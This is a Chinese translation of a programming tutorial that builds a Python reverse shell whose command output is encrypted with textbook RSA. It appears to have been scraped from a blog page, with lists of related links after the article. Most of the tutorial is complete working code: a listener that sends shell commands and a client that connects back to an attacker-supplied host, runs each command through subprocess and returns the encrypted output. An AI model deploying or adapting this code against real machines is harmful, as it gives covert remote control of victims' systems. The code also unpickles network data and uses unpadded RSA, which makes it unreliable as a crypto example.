i春秋翻译小组-Neo(李皓伟)

使用RSA加密在Python中逆向shell

这是一个关于使用RSA加密编程逆向shell的python教程。 我想提一下,这篇文章更多的是关于理解shell中涉及的加密而不是shell本身。 github的链接是https://github.com/ca10x/RSA-reverse-shell

侦听器

首先,我们需要一个侦听器来处理所有传入的连接。 这是listener_rsa.py的代码

  1.  
    #!/usr/bin/python
  2.  
     
  3.  
    from Crypto.PublicKey import RSA
  4.  
    from Crypto import Random
  5.  
    from Crypto.Hash import SHA256
  6.  
    import socket
  7.  
    from thread import *
  8.  
    import sys
  9.  
    import pickle
  10.  
     
  11.  
    #Generate public key and private key
  12.  
     
  13.  
    random_generator = Random.new().read
  14.  
    key = RSA.generate(2048, random_generator)
  15.  
    public_key = key.publickey()
  16.  
     
  17.  
    #Create socket and bind to accept connections
  18.  
     
  19.  
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  20.  
    try:
  21.  
        s.bind(("0.0.0.0", 4444))
  22.  
    except socket.error, v:
  23.  
        print "Binding failed. Error code : " + str(v[0]) + " Message " + v[1]
  24.  
        sys.exit()

  1.  
    print "Socket bind complete"
  2.  
     
  3.  
    s.listen(2)
  4.  
    print "[+] Listening to the incoming connection on port 4444..."
  5.  
     
  6.  
    def clientthread_sendpublickey(client) :
  7.  
        client.send(pickle.dumps(public_key))
  8.  
     
  9.  
    def clienthandle(client) :
  10.  
        while True :
  11.  
            command = raw_input('~$ ')
  12.  
            client.send(command)
  13.  
            if command == 'quit' :
  14.  
               break
  15.  
            buf = client.recv(2048)
  16.  
            encreply = pickle.loads(buf)
  17.  
            print key.decrypt(encreply)
  18.  
     
  19.  
    while True:
  20.  
        (client, (ip, port)) = s.accept()
  21.  
        print "Received connection from : ", ip
  22.  
        start_new_thread(clientthread_sendpublickey, (client,))
  23.  
        print "Public Key sent to", ip
  24.  
    start_new_thread(clienthandle, (client,))

我在Python中使用PyCrypto模块进行加密。 继续安装它。 我建议使用pip来安装模块。

$ sudo pip install pycrypto

在我们进入代码之前,让我向你解释一下RSA加密及其密钥。 RSA是一种非对称加密标准。 它有两个键,公共和私有。 简单来说,公钥用于加密消息,私钥用于解密。 下面是描述该过程的框图

如果你对RSA的数学工作感兴趣,那么我建议你阅读http://mathworld.wolfram.com/RSAEncryption.html(当心,仅限极客)

在上面的程序中,首先生成密钥,该密钥也是私钥。

key = RSA.generate(2048, random_generator)

函数RSA.generate有两个参数,第一个是以位为单位的密钥的大小,第二个是通常使用python随机函数生成的随机数。 在创建私钥之后,从中提取公钥并将其存储在变量中以供将来使用。

public_key = key.publickey()

使用套接字模块创建套接字,这相对简单。 你可以参考Python套接字1的官方文档,甚至可以进行简单的Google搜索。

套接字绑定并等待连接传入连接。

注 - 如果要将Linux中的套接字绑定到小于1024的端口,则必须以root身份执行该脚本。

当收到连接时,初始化新线程以将生成的公钥发送到客户端,以便它可以加密回复。

  1.  
    def clientthread_sendpublickey(client) :
  2.  
    client.send(pickle.dumps(public_key))

我们为什么要用Pickle? Pickle用于序列化和反序列化python对象。 由于public_key不是常规字符串,因此必须对其进行pickle,然后将其发送到接收方。

警告 - pickle模块不能防止错误或恶意构造的数据。 切勿取消从不受信任或未经身份验证的来源收到的数据。

一旦发送了公钥,另一个线程clienthandle(客户端)被初始化为True:loop,它发送给接收者的命令。 接收器运行命令并使用公钥加密输出。 然后将输出的pickle发送给监听器。

回复是unpickled,使用私钥解密并打印在屏幕上。

  1.  
    encreply = pickle.loads(buf)
  2.  
    print key.decrypt(encreply)

如果给出'quit'命令,则终止连接。

反向shell

让我们转到反向shell所在的接收器端。 reverse_shell_rsa的脚本如下所示

  1.  
    #!/usr/bin/python
  2.  
     
  3.  
    import socket, subprocess, sys
  4.  
    from Crypto.PublicKey import RSA
  5.  
    from Crypto.Hash import SHA256
  6.  
    import pickle

  1.  
    RHOST = sys.argv[1]
  2.  
    RPORT = 4444
  3.  
     
  4.  
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  5.  
    s.connect((RHOST, RPORT))
  6.  
     
  7.  
    def receive_key():
  8.  
       data_key = s.recv(1024)
  9.  
       return data_key
  10.  
     
  11.  
    pickled_publickey = receive_key()
  12.  
    public_key = pickle.loads(pickled_publickey)

  1.  
    while True :
  2.  
        command = s.recv(1024)
  3.  
        if command == 'quit' :
  4.  
             break
  5.  
        reply = subprocess.Popen(str(command), shell=False, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
  6.  
        stdout, stderr = reply.communicate()
  7.  
        en_reply = public_key.encrypt(stdout, 32)
  8.  
        s.send(pickle.dumps(en_reply))
  9.  
     
  10.  
    s.close()

一如既往,导入必要的模块。 要连接的IP地址作为参数提供,并存储在RHOST变量中。 创建套接字并与服务器(侦听器)建立连接。 一旦接受连接,服务器就会发送公钥(在listener.py脚本中向上滚动到clientthread_sendpublickey()),该公钥通过函数receive_key()接收并去除(记住pickling?)以获取公钥。

  1.  
    def receive_key():
  2.  
    data_key = s.recv(1024)
  3.  
    return data_key
  4.  
     
  5.  
    pickled_publickey = receive_key()
  6.  
    public_key = pickle.loads(pickled_publickey)

一段时间初始化True循环以保持连接的持久性并接收命令。 如果命令是“退出”,则节目结束。 否则,给定的命令作为子进程和标准输出运行,标准错误通过管道传递给变量'reply'。 然后使用公钥对标准输出进行加密,pickling并发送到服务器。

  1.  
    en_reply = public_key.encrypt(stdout, 32)
  2.  
    s.send(pickle.dumps(en_reply))

然后耐心等待,直到下一个命令。

重要的提示

这种方法是'教科书RSA'的实现。 对于真实世界的实现,你必须添加填充,例如PKCS1_OAEP。

RSA速度慢很多,一次只能加密256个字节。 你为什么问? 因为n的值是2048和2048/8 = 256.如果添加填充,阈值将降低,因为它占用了更多的字节。

解决方法是RSA应该通过AES使用。

我将在下一篇文章中解释这个概念。 由于这是我的第一篇文章,欢迎并感谢你的反馈。

新年快乐的人们!

问候,

作者: Cal0X

翻译:i春秋翻译小组-Neo(李皓伟)

责任编辑:F0rmat

翻译来源:https://0x00sec.org/t/reverse-shell-in-python-with-rsa-encryption/1414

使用RSA加密在Python中逆向shell的更多相关文章

  1. python中写shell(转)

    python中写shell,亲测可用,转自stackoverflow To run a bash script, copy from stackoverflow def run_script(scri ...

  2. python中执行shell的两种方法总结

    这篇文章主要介绍了python中执行shell的两种方法,有两种方法可以在Python中执行SHELL程序,方法一是使用Python的commands包,方法二则是使用subprocess包,这两个包 ...

  3. python中执行shell命令的几个方法小结(转载)

    转载:http://www.jb51.net/article/55327.htm python中执行shell命令的几个方法小结 投稿:junjie 字体:[增加 减小] 类型:转载 时间:2014- ...

  4. 【python中调用shell命令使用PIPE】使用PIPE作为stdout出现假卡死的情况——将stdout重定向为输出到临时文件

    在Python中,调用:subprocess.Popen(cmd, stdout = PIPE, stderr = PIPE, shell= true)的时候,如果调用的shell命令本身在执行之后会 ...

  5. javascript的rsa加密和python的rsa解密

    先说下目前测试情况:javascript加密后的数据,python无法完成解密,我估计是两者的加密解密方法不同 1.看了这篇文章:http://blog.nsfocus.net/python-js-e ...

  6. [Python]在python中调用shell脚本,并传入参数-02python操作shell实例

    首先创建2个shell脚本文件,测试用. test_shell_no_para.sh 运行时,不需要传递参数 test_shell_2_para.sh 运行时,需要传递2个参数  test_shell ...

  7. python 中调用shell命令

    subprocess模块 根据Python官方文档说明,subprocess模块用于取代上面这些模块.有一个用Python实现的并行ssh工具—mssh,代码很简短,不过很有意思,它在线程中调用sub ...

  8. 「Python」6种python中执行shell命令方法

    用Python调用Shell命令有如下几种方式: 第一种: os.system("The command you want"). 这个调用相当直接,且是同步进行的,程序需要阻塞并等 ...

  9. python中执行shell命令的几个方法小结

    原文 http://www.jb51.net/article/55327.htm 最近有个需求就是页面上执行shell命令,第一想到的就是os.system, os.system('cat /proc ...

随机推荐

  1. 【转载】django 过滤器 、日期格式化参数

    过滤器相关: 一.形式:小写{{ name | lower }} 二.串联:先转义文本到HTML,再转换每行到 标签{{ my_text|escape|linebreaks }} 三.过滤器的参数显示 ...

  2. OpenStack—nova组件计算服务

    nova介绍: Nova 是 OpenStack 最核心的服务,负责维护和管理云环境的计算资源.OpenStack 作为 IaaS 的云操作系统,虚拟机生命周期管理也就是通过 Nova 来实现的. 用 ...

  3. loadrunner测试https

    需要要代码前加上:web_set_sockets_option("SSL_VERSION", "TLS");

  4. Java线段树

    线段树不是完全二叉树,是平衡二叉树 堆也是平衡二叉树 堆满二叉树: h层,一共有2^h-1个节点(大约是2^h) 最后一层(h-1层)有2^(h-1)个节点 最后一层的节点数大致等于前面所有层节点之和 ...

  5. spark ML pipeline 学习

    一.pipeline 一个典型的机器学习过程从数据收集开始,要经历多个步骤,才能得到需要的输出.这非常类似于流水线式工作,即通常会包含源数据ETL(抽取.转化.加载),数据预处理,指标提取,模型训练与 ...

  6. P1462 通往奥格瑞玛的道路 最短路

    题目背景 在艾泽拉斯大陆上有一位名叫歪嘴哦的神奇术士,他是部落的中坚力量 有一天他醒来后发现自己居然到了联盟的主城暴风城 在被众多联盟的士兵攻击后,他决定逃回自己的家乡奥格瑞玛 题目描述 在艾泽拉斯, ...

  7. Alpha冲刺(4/10)——2019.4.26

    作业描述 课程 软件工程1916|W(福州大学) 团队名称 修!咻咻! 作业要求 项目Alpha冲刺(团队) 团队目标 切实可行的计算机协会维修预约平台 开发工具 Eclipse 团队信息 队员学号 ...

  8. lsblk

    linux磁盘命令-lsblk显现磁盘阵列分组 lsblk(list block devices)能列出系统上所有的磁盘. lsblk [-dfimpt] [device] 选项与参数: -d :仅列 ...

  9. mysql 8.0 密码加密方式的坑

    问题:新安装好MySQL 8.0和Navicat之后,连接时总是报: 1251 Client does not support authentication protocol requested by ...

  10. Swagger2教程

    Swagger2教程 作用:编写和维护接口文档. 一.Swagger2 + SpringBoot集成 1.依赖 <!--依赖管理 --> <dependencies> < ...